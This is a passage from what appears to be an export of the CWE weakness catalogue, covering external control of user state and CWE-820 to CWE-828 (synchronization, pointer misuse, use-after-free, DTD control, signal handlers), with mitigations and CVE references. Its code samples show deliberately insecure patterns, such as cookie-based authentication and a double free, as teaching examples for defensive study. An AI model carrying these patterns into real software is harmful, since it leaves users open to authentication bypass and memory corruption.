Confidentiality Access Control Availability Other	Bypass Protection Mechanism Gain Privileges or Assume Identity Varies by Context *Attackers can bypass the security decision to access whatever is being protected. The consequences will depend on the associated functionality, but they can range from granting additional privileges to untrusted users to bypassing important security checks. Ultimately, this weakness may lead to exposure or modification of sensitive data, system crash, or execution of arbitrary code.*	

Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

The effectiveness and speed of manual analysis will be reduced if the there is not a centralized security mechanism, and the security logic is widely distributed throughout the software.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions. If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that you has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. With a stateless protocol such as HTTP, use a framework that maintains the state for you. Examples include ASP.NET View State [REF-756] and the OWASP ESAPI Session Management feature [REF-45]. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java *(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

Example Language: PHP *(bad)*

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java *(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

Example 4:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

Example Language: C *(bad)*

```
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

Example Language: Java *(bad)*

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

Example Language: C# *(bad)*

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Observed Examples

Reference	Description
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1549
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1619
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK." https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0864
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5784
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin." https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6291

CWE-820: Missing Synchronization

Weakness ID : 820 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.

Extended Description

If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1288
ParentOf	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	1115
ParentOf	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1144
ParentOf	V	1096	Singleton Class Instance Creation without Proper Locking or Synchronization	1696

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	
Other	Alter Execution Logic	

Demonstrative Examples

Example 1:

The following code intends to fork a process, then have both the parent and child processes print a single line.

Example Language: C *(bad)*

```
static void print (char * string) {
    char * word;
    int counter;
    for (word = string; counter = *word++; ) {
        putc(counter, stdout);
        fflush(stdout);
        /* Make timing window a little larger... */
        sleep(1);
    }
}
int main(void) {
    pid_t pid;
    pid = fork();
    if (pid == -1) {
        exit(-2);
    }
    else if (pid == 0) {
        print("child\n");
```

```
    }
    else {
        print("PARENT\n");
    }
    exit(0);
}
```

One might expect the code to print out something like:

PARENT
child

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

PcAhRiElNdT
[blank line]
[blank line]

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-821: Incorrect Synchronization

Weakness ID : 821 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.

Extended Description

If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

CWE-822: Untrusted Pointer Dereference

Weakness ID : 822 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.

Extended Description

An attacker can supply a pointer for memory locations that the program is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical program state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a program variable to an unexpected value (since the value will be read from an unexpected memory location).

There are several variants of this weakness, including but not necessarily limited to:

- The untrusted value is directly invoked as a function call.

- In OS kernels or drivers where there is a boundary between "userland" and privileged memory spaces, an untrusted pointer might enter through an API or system call (see CWE-781 for one such example).
- Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.*	
Availability	DoS: Crash, Exit, or Restart *If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory *If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.*	

Observed Examples

Reference	Description
CVE-2007-5655	message-passing framework interprets values in packets as pointers, causing a crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5655*
CVE-2010-2299	labeled as a "type confusion" issue, also referred to as a "stale pointer." However, the bug ID says "contents are simply interpreted as a pointer... renderer ordinarily doesn't supply this pointer directly". The "handle" in

Reference	Description
	the untrusted area is replaced in one function, but not another - thus also, effectively, exposure to wrong sphere (CWE-668). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2299*
CVE-2009-1719	Untrusted dereference using undocumented constructor. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1719*
CVE-2009-1250	An error code is incorrectly checked and interpreted as a pointer, leading to a crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1250*
CVE-2009-0311	An untrusted value is obtained from a packet and directly called as a function pointer, leading to code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0311*
CVE-2010-1818	Undocumented attribute in multimedia software allows "unmarshaling" of an untrusted pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1818*
CVE-2010-3189	ActiveX control for security software accepts a parameter that is assumed to be an initialized pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3189*
CVE-2010-1253	Spreadsheet software treats certain record values that lead to "user-controlled pointer" (might be untrusted offset, not untrusted pointer). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1253*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Research Gap

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
129	Pointer Manipulation

CWE-823: Use of Out-of-range Pointer Offset

Weakness ID : 823 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.

Extended Description

While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array.

Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error.

If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the program. As a result, the attack might change the state of the software as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
CanFollow		129	Improper Validation of Array Index	312
CanPrecede		125	Out-of-bounds Read	302
CanPrecede		787	Out-of-bounds Write	1463

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Alternate Terms

Untrusted pointer offset : This term is narrower than the concept of "out-of-range" offset, since the offset might be the result of a calculation or other error that does not depend on any externally-supplied values.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

Scope	Impact	Likelihood
	If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.	
Availability	DoS: Crash, Exit, or Restart *If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory *If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.*	

Observed Examples

Reference	Description
CVE-2010-2160	Invalid offset in undocumented opcode leads to memory corruption. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2160*
CVE-2010-1281	Multimedia player uses untrusted value from a file when using file-pointer calculations. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1281*
CVE-2009-3129	Spreadsheet program processes a record with an invalid size field, which is later used as an offset. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3129*

CVE-2008-1686	array index issue (CWE-129) with negative offset, used to dereference a function pointer *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1686*
CVE-2010-2878	"buffer seek" value - basically an offset? *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2878*

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Research Gap

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

CWE-824: Access of Uninitialized Pointer

Weakness ID : 824 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program accesses or uses a pointer that has not been initialized.

Extended Description

If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the program to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.

Depending on memory layout, associated memory management behaviors, and program operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-825: Expired Pointer Dereference

Weakness ID : 825 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.

Extended Description

When a program releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the program to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Alternate Terms

Dangling pointer :

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.*	
Availability	DoS: Crash, Exit, or Restart *If the expired pointer references a memory location that is not accessible to the program, or points to a location that is*	

Scope	Impact	Likelihood
	"malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.*	

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

Demonstrative Examples

Example 1:

The following code shows a simple example of a use after free error:

Example Language: C *(bad)*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2:

The following code shows a simple example of a double free error:

Example Language: C *(bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Observed Examples

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Research Gap

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

CWE-826: Premature Release of Resource During Expected Lifetime

Weakness ID : 826 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program releases a resource that is still intended to be used by the program itself or another actor.

Extended Description

This weakness focuses on errors in which the program should not release a resource, but performs the release anyway. This is different than a weakness in which the program releases a resource at the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weakness, the resource should still be valid upon the subsequent access.

When a program releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues

similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1298
CanPrecede	C	672	Operation on a Resource after Expiration or Release	1310

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864
MemberOf	C	840	Business Logic Errors	1900

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Memory *If the released resource is subsequently reused or reallocated, then a read operation on the original resource might access sensitive data that is associated with a different user or entity.*	
Availability	DoS: Crash, Exit, or Restart *When the resource is released, the software might modify some of its structure, or close associated channels (such as a file descriptor). When the software later accesses the resource as if it is valid, the resource might not be in an expected state, leading to resultant errors that may lead to a crash.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Application Data Modify Memory *When the resource is released, the software might modify some of its structure. This might affect program logic in the sections of code that still assume the resource is active. If the released resource is related to memory and is used in a function call, or points to unexpected data in a write operation, then code execution may be possible upon subsequent accesses.*	

Observed Examples

Reference	Description
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3547*

Notes

Research Gap

Under-studied and under-reported as of September 2010. This weakness has been reported in high-visibility software, although the focus has been primarily on memory allocation and de-allocation. There are very few examples of this weakness that are not directly related to memory management, although such weaknesses are likely to occur in real-world software for other types of resources.

CWE-827: Improper Control of Document Type Definition

Weakness ID : 827 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the software to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.

Extended Description

As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.

For example, the SOAP specification prohibits SOAP messages from containing DTDs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe

Weakness ID : 828 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.

Extended Description

This can lead to an unexpected system state with a variety of potential consequences depending on context, including denial of service and code execution.

Signal handlers are typically intended to interrupt normal functionality of a program, or even other signals, in order to notify the process of an event. When a signal handler uses global or static variables, or invokes functions that ultimately depend on such state or its associated metadata, then it could corrupt system state that is being used by normal functionality. This could subject the program to race conditions or other weaknesses that allow an attacker to cause the program state to be corrupted. While denial of service is frequently the consequence, in some cases this weakness could be leveraged for code execution.

There are several different scenarios that introduce this issue:

- Invocation of non-reentrant functions from within the handler. One example is malloc(), which modifies internal global variables as it manages memory. Very few functions are actually reentrant.
- Code sequences (not necessarily function calls) contain non-atomic use of global variables, or associated metadata or structures, that can be accessed by other functionality of the program, including other signal handlers. Frequently, the same function is registered to handle multiple signals.

- The signal handler function is intended to run at most one time, but instead it can be invoked multiple times. This could happen by repeated delivery of the same signal, or by delivery of different signals that have the same handler function (CWE-831).

Note that in some environments or contexts, it might be possible for the signal handler to be interrupted itself.

If both a signal handler and the normal behavior of the software have to operate on the same set of state variables, and a signal is received in the middle of the normal execution's modifications of those variables, the variables may be in an incorrect or corrupt state during signal handler execution, and possibly still incorrect or corrupt upon return.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	364	Signal Handler Race Condition	802
ParentOf	V	479	Signal Handler Use of a Non-reentrant Function	1021

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	387	Signal Errors	1861

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands *The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.*	

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Eliminate the usage of non-reentrant functionality inside of signal handlers. This includes replacing all non-reentrant library calls with reentrant calls. Note: This will not always be possible and may require large portions of the software to be rewritten or even redesigned. Sometimes reentrant-safe library alternatives will not be available. Sometimes non-reentrant interaction between the state of the system and the signal handler will be required by design.

Effectiveness = High

Phase: Implementation

Where non-reentrant functionality must be leveraged within a signal handler, be sure to block or mask signals appropriately. This includes blocking other signals within the signal handler itself that may also leverage the functionality. It also includes blocking all signals reliant upon the functionality when it is being accessed or modified by the normal behaviors of the software.

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C *(bad)*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

Example Language: C *(bad)*

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
    syslog(LOG_NOTICE,"%s\n",what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
int main (int argc,char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
